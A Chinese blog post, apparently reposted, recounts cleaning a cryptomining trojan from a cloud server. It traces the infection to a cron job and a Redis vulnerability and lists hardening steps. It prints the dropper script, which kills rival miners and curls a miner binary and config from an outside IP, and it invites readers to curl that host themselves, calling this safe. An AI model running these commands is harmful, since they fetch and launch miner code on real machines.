记一次服务器被植入挖矿木马cpu飙升200%解决过程

线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了。

此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启,启动过程中直接被killed,再试试数据库,同样没成功,多次尝试甚至重启机器无果。机制的我打了个top,出现以下内容:

这是谁运行的程序?不管三七二十一先杀掉再说,因为它就是Tomcat等程序启动不了的元凶。然而并没有什么卵用,过一会再看那个东西又跑出来占cpu。怀疑是个定时任务:

什么鬼,是个图片?立即访问了一下:

好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,crul过去是下面的脚本,过程就是在挖矿:

#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中间省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

有兴趣的同学想查看以上完整源代码,命令行运行下面指令(不分操作系统,方便安全无污染):

curl 192.99.142.235:8220/logo3.jpg

既然知道它是个定时任务,那就先取消了它,并且看看它是谁在运行:

杀掉,找到存放目录:

进入临时目录:

被我发现配置文件了,先来看看内容:

虎躯一震,发现了不少信息啊,user是他的server的登录用户,下面是密码,只可惜加密过,应该找不到对方。算了,大度的我先不和你计较。干掉这两个文件后再查看top:

解决办法

找到寄生的目录,一般都会在tmp里,我这个是在/var/tmp/。首先把crontab干掉,杀掉进程,再删除产生的文件。启动Tomcat等程序,大功告成!

等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对,不然你杀掉进程删掉文件后,黑客后门进来history一敲,都知道你做了啥修复手段。

所以上面办法治标不治本,我后续做了以下工作:

1.把所有软件升级到新版本,修复 redis 的后门,配置bind选项, 限定可以连接Redis服务器的IP,并修改redis的默认端口6379。配置AUTH, 设置密码,密码会以明文方式保存在redis配置文件中。

2.修改所有软件默认端口号

3.打开ssh/authorized_keys, 删除不认识的密钥

4.删除用户列表中陌生的帐号

5.封了他的ip

6.SSH使用密钥登录并禁止口令登录(这个一般是加运维一个人的秘钥)

木马原因,是redis漏洞导致:

http://blog.jobbole.com/94518/

最好的方式:将主机镜像,找出病毒木马,分析入侵原因。检查业务程序,重装系统,修复漏洞,再重新部署系统。

写在最后,网友提供的一劳永逸终极解决办法:

把你自己的挖矿脚本挂上去运行,这样别人就算挂脚本也跑不起来了。

原文地址:https://www.cnblogs.com/lywJ/p/11252049.html

时间: 2024-11-10 16:20:24

记一次服务器被植入挖矿木马cpu飙升200%解决过程的相关文章

服务器被植入挖矿病毒解决办法

服务器被植入挖矿,刚解决完,参考文章! 上午重启服务的时候,发现程序启动死慢,用top命令查看了一下,cpu被占用接近100%,所以无法运行新程序,通过top命令然后输入P,就能看到有两个程序几乎占用了所有的CPU,占用率为700%左右,程序名称为:minerd和AnXqV两个,通过搜索知道是挖矿程序,通过kill命令及pkill命令是无法直接解决的,找到了一个教程,http://www.cnblogs.com/zhouto/p/5680594.html,参考的这个进行的处理,基本上搞定了,不过

记一次服务器被抓去挖矿事件

某天,一台服务器cpu占用高达96%, 好吧,这种情况当然要看看是哪个进程占用的了,top查看进程发现是一个 ls_linux 的进程高居榜首,但是自己知道该服务器上没运行过此种服务的,所以断定可能是被抓去挖矿了,试着kill干掉这个进程,果然,没那么简单,一会儿的工夫就又出现了此进程.在系统中再 ps aux 查看进程时,又发现一堆的[xxxxx]进程,而且显示用户是test,这个用户的密码过于简单,可能是被暴力破解了.ps aux | grep test一执行,出现了4000+个[xxxxx

一次linux删除文件后又自动生成就是中木马的情况的解决过程

公司的内网某台linux服务器流量莫名其妙的剧增,用iftop查看有连接外网的情况.针对这种情况一般重点查看netstat连接的外网ip和端口. 用lsof -p pid可以查看到具体是那些进程,哪些文件.经查勘发现/root下有相关的配置conf.n hhe两个可疑文件,rm -rf后不到一分钟就自动生成了,由此推断是某个母进程产生的这些文件.所以找到母进程就是找到罪魁祸首. 查杀病毒最好断掉外网访问,还好是内网服务器,可以通过内网访问.断了内网,病毒就失去外联的能力,杀掉它就容易的多.怎么找

教你检测门罗币挖矿木马

MS016小组(原创) 前言: 随着比特币的成功,越来越多的山寨币开始模仿. 因为有些人,在比特币刚开始的时候,感觉不靠谱 错失了挣钱的良机. 所以现在很多人后悔了 , 就开始寄托于别的币  , 所以有些人投入机器挖矿. 而黑客呢 掌握技术 也等同于掌握机器!也不是所有机器都能挖矿的 , 当然以黑客的视角去思考问题,一般的黑客都是通过. 这里有张流程图 ,根据爆出来的已知漏洞 而且危害很高的 比如ST – 045 等等 , 而且像苹果系统mac os 也能挖矿  linux挖矿比window挖矿

记一次服务器被挖矿经历与解决办法

记一次服务器被挖矿经历与解决办法 在最近的某一天里面,中午的一个小息过后,突然手机的邮件和公众号监控zabbix的告警多了起来.我拿起手机一看原来是某台服务器上的CPU跑满了,就开始登上去看一下是哪个脚本导致负荷高的(在期间使用top -d 1命令查看负荷占用情况).可以静下来想了下,中午大家都在休息不应该CPU负载会这么高的,心里想80%是服务器被黑了. 后来发现是/tmp/ddgs.3013和/tmp/qW3xT.2这两个文件跑满了服务器CPU,后来决定先kill掉文件PID和删除/tmp目

对比特币挖矿木马分析研究和清除

本文作者:simeon 来源:i春秋社区 一.什么是比特币系统 有关比特币的专业知识讲解的内容资料很多,我这里只是简单通俗的记录下个人的学习和对他的理解.大家往往看到比特币首先想问的它到底是什么,是不是钱.可以肯定的回答大家,他是钱,但是他不只是个体,他其实是一个虚拟的电子货币支付系统,是的是一个系统. 所以我这里说了这么多的废话,就是希望大家以后看到比特币,我们不是把它看成是一个硬币,而是我们一看到比特币,我就立马想到的是它其实是一个系统(电子币虚拟支付系统).只要大家能这样想,后面讲的内容大

挖矿木马的应急响应

挖矿木马简介 随着区块链的火爆,各种虚拟货币的行情一路走高,不乏有人像炒房炒股一样,通过包括大名鼎鼎的比特币在内的各种虚拟货币发家致富,让人眼馋.在这种情况下,黑客怎么会放过这么赚钱的机会呢.大家都知道,获取虚拟货币除了买卖还有就挖矿,挖矿其实是通过计算机做一些复杂的运算去算出还没有归属的虚拟货币节点,并通告这样就归属了自己.但是这种挖矿行为需要极高的计算能力和计算资源,黑客们纷纷编写挖矿木马,通过感染别人的机器,消耗其性能来为自己挖矿获利. 矿马的传播方式 电子邮件附件感染方式 类似一般cc类

关于Redis未授权访问漏洞被植入挖矿程序

1.由于安装低版本的redis,默认绑定在 0.0.0.0:6379,会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据2.此时服务公网端口被扫描到,植入挖矿程序,使用top命令可以看到cpu使用率被占满,把它kill掉cpu使用率马上就下降了,但是不一会cpu使用率又上了3.这种情况打开crontab -l 可以看到有一条被植入的定时任务或者一般也会在写在定时文件里/var/spool/cron,

记一次服务器被黑的调查过程

1.因服务器负载过高,查看原因,通过top命令查看负载发现异常进程md64, 2.ps查看进程启动程序 3.kill掉后跳出名为tsm异常进程,怀疑挖矿木马程序. 使用kill -9 杀死后,一分钟左右又自动出现, 4.ps查找该进程目录,发现可疑文件/usr/sbin/http 然进入到该目录,并没有发现该可疑文件. 5.查找有无可议计划任务. a.查看root下计划任务, b.清除后,查看git用户下计划任务. 将上述所列计划任务清除后,kill 杀死tsm进程后,还是启动 6.查找可疑用户